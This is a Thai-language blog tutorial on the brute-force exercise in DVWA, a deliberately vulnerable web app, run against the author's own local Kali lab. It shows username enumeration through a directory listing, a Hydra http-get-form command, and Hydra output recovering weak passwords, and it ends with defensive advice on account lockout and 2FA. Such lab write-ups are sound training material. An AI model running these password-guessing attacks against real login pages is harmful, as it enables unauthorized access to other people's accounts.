HomeArtTechHackBlockchain

DVWA Lab1 Vulnerability Brute Force

By Khomkrid Lerdprasert
Published in Hack101
August 19, 2020
1 min read
DVWA Lab1 Vulnerability Brute Force

DVWA Lab1 Vulnerability Brute Force

จากบทความที่แล้ว Damn Vulnerable Web Application เราได้ทำการติดตั้ง Environment สำหรับทดสอบการทำ Pentest ในเครื่อง Kali Linux ของเราแล้ว

วันนี้เราจะมาลองทำการ Brute Force เพื่อโจมตี DVWA ที่เราติดตั้งไว้ในเครื่องกันดูครับ ไอ้ Brute Force เนี่ยคือการสุ่มรหัสผ่านไปเรื่อยๆ เดาไปเรื่อยๆ ซึ่งจะเดาจากฐานข้อมูลรหัสผ่านที่เรามี ไอ้ฐานข้อมูลรหัสผ่านเนี่ย เวลาเวปต่างๆทำหลุดมา เค้าก็มีซื้อขายกันด้วยนะ เค้าถึงแนะนำให้เราเปลี่ยนรหัสผ่านกัน เมื่อรหัสหลุดออกมา

หลักในการตั้งรหัสผ่านให้มีความปลอดภัย คือยิ่งยาวยิ่งดี และไม่ควรเดาง่าย มีการผสมตัวอักษรต่างๆเข้าด้วยกัน

ทีนี้เราจะลองมาดูว่า DVWA มันมีอะไรให้เราทดลองทำ Brute Force กัน

Brute Force
Brute Force

เข้ามาเจอหน้าตาให้ Login เลย จะให้กรูทำอะไรวะ -_-”

บอกตามตรง ความรู้ไม่มี ไม่ได้เรียนมา ก็เข้า google ดิวะ รออะไร

kali linux brute force website password
kali linux brute force website password

ผมเจอ Tools ละ เค้าใช้ Hydra ในการทำ Brute Force บน Kali ได้นี่เอง

แล้วจะ Brute Force อะไรวะ ก็รู้รหัสตัวเองแล้วนี่ว่ามันคือ

  • Username: admin
  • Password: password

ลอง Login เข้าไปดูก่อนดีกว่า ว่ามีอะไรบ้าง

Welcome to the password protected area admin
Welcome to the password protected area admin

หลังจาก Login แล้วจะพบกับ ข้อความ Welcome to the password protected area admin และรูปภาพ Avatar ของเรา

ลำดับความคิดก่อนว่า งั้นผมน่าจะต้องหาก่อนว่ามี user อะไรบ้างในระบบที่จำลองขึ้นมา ลอง Click ขวาที่รูปก่อน ดูว่ามันมีไรที่เป็น pattern ที่พอจะหา user อื่นได้ไหม เลยลอง copy address มาดู

Right Click
Right Click

ได้ URL นี้มา http://192.168.1.116:8080/hackable/users/admin.jpg

ถ้าให้เดา http://192.168.1.116:8080/hackable/users/[ชื่อผู้ใช้งาน.jpg] แน่ๆเลย

งั้นเดาว่า server ตัวนี้ ไม่ได้ ทำ Protected Directory ไว้ เมื่อเข้าไปใน path http://192.168.1.116:8080/hackable/users/

ตัว Server จะต้อง ส่ง Directory Listing ออกมาเป็นไฟล์ทั้งหมดใน Folder แหง๋มๆ สมัยทำ Apache ช่วงปี 42-43 จะเจอะ case นี้บ่อยๆ มันควรจะ redirect หรือบอก error 404, 403 มากกว่า

แล้วก็ใช่ครับ

Avatar List
Avatar List

ผลคือมี User ซ่อนอยู่ 5 คน คือ

  • 1337
  • admin
  • gordonb
  • pablo
  • smithy

ได้รายชื่อ Username มาแล้ว งั้นไปหา file wordlists รหัสผ่านใน kali linux ก่อน เดาว่าพวกนี้เป็นแค่ use case ไม่น่าใช้รหัสยากหรอก เอาแค่ example ที่ติดตั้งมาก็น่าจะ Brute Force ได้นะ

หาก่อนว่า wordlists มันอยู่ที่ไหน แต่ kali เพิ่งลงใหม่ ยังไม่มี locate ให้ใช้งาน

apt install mlocate
locate wordlists

จะพบว่า มี wordlists ในระบบเยอะมากอยู่ใน /usr/share/

หลังจากนั้นเราจะใช้ hydra สั่ง Brute Force จาก wordlists ที่เรามี โดยเราจะเอารหัสของนาย gordonb มา

โดยเราจะยิงไปที่ endpoint /vulnerabilities/brute/index.php โดยส่งข้อมูลไปแบบ get เพราะเราดูจากใน form html แล้ว method ของ form login นั้นเป็น get

โดยคำสั่งจะเป็นประมาณนี้

hydra -l [username] -P [wordlists][domainname] -s [port][http-get-form] “/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:F=[Failed]:H=[Headerที่ส่งค่าไป]” -vV -f

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-19 13:20:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get-form://localhost:8080/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie: PHPSESSID=r9ajvh28dkt14tqr1h8jrkrc02; security=low
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target localhost - login "gordonb" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "princess" - 6 of 14344399 [child 5] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "1234567" - 7 of 14344399 [child 6] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "12345678" - 9 of 14344399 [child 8] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "abc123" - 10 of 14344399 [child 9] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "nicole" - 11 of 14344399 [child 10] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "daniel" - 12 of 14344399 [child 11] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "babygirl" - 13 of 14344399 [child 12] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "monkey" - 14 of 14344399 [child 13] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "lovely" - 15 of 14344399 [child 14] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "jessica" - 16 of 14344399 [child 15] (0/0)
[ATTEMPT] target localhost - login "gordonb" - pass "654321" - 17 of 14344399 [child 0] (0/0)
[8080][http-get-form] host: localhost login: gordonb password: abc123
[STATUS] attack finished for localhost (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-19 13:20:31

เมื่อเรา run ไปแล้วจะพบว่า gordonb มีรหัสผ่านเป็น abc123 จากบรรทัดตามข้างล่างนี้

[8080][http-get-form] host: localhost login: gordonb password: abc123

เราจะลองเอารหัสไปกรอกดูกันว่าผ่านมั้ย

Completed
Completed

หลังจากนั้นเราลองหาของแต่ละคนดูจะพบว่า

  • username: 1337 มี password: charley
  • username: gordonb มี password: abc123
  • username: pablo มี password: letmein
  • username: smithy มี password: password

เป็นอันครบทุกคน

ในแง่การป้องกันสำหรับผมที่เป็น Programmer เวลาว่างๆ ถ้าไม่อยากให้มีการ Brute Force ก็ไม่ต้องเขียน Code ถุ้ยยยยย หยอกๆๆ

Code ของเราควรจะมีการ Limit การ Login Failed ว่าครบ n ครั้ง จะ Lock Account กี่นาที ก็ว่าไป หรือมีการทำ 2FA นั่นก็คือ 2 Factor Authentication เป็นวิธีการยืนยันตัวแบบหนึ่ง ที่จะต้องให้ผู้ใช้งานใส่รหัสอีกหนึ่งชุดที่ได้รับมาผ่านทาง ช่องทางอื่น โดยรหัสที่ว่าจะมีอายุไม่กี่วินาที ถ้าใส่ไม่ทันก็ต้องรอเอาชุดใหม่เป็นต้น

ทีนี้ผมลองเปลี่ยน Level security ไปเป็น high level สรุปว่า ผมทำการ Brute Force ไม่ผ่าน งงเลย เพราะอะไรวะ

เลย View Source ดู อ๋ออออ มึงมี user_token ที่น่าจะ generate ขึ้นมาครั้งที่เปิดหน้าใหม่ แล้วต้องส่งไอ้ห่านี่ไปด้วยทุกครั้ง What!!!

user_token
user_token

บทความหน้าเราจะมาทะลวง ดาก CSRF (Cross-site Request Forgery) กันฮะ ตอนนี้นั่งหน้าคอมนาน ปวดคออีกแล้วบรัย


Tags

#pentest#kali#hack101#Brute Force

Share

Previous Article
Damn Vulnerable Web Application
Khomkrid Lerdprasert

Khomkrid Lerdprasert

Full Stack Life

Related Posts

Aircrack Ng หารหัส wifi ที่บ้าน
October 16, 2021
1 min
© 2024, All Rights Reserved.
Powered By

Quick Links

Author

Social Media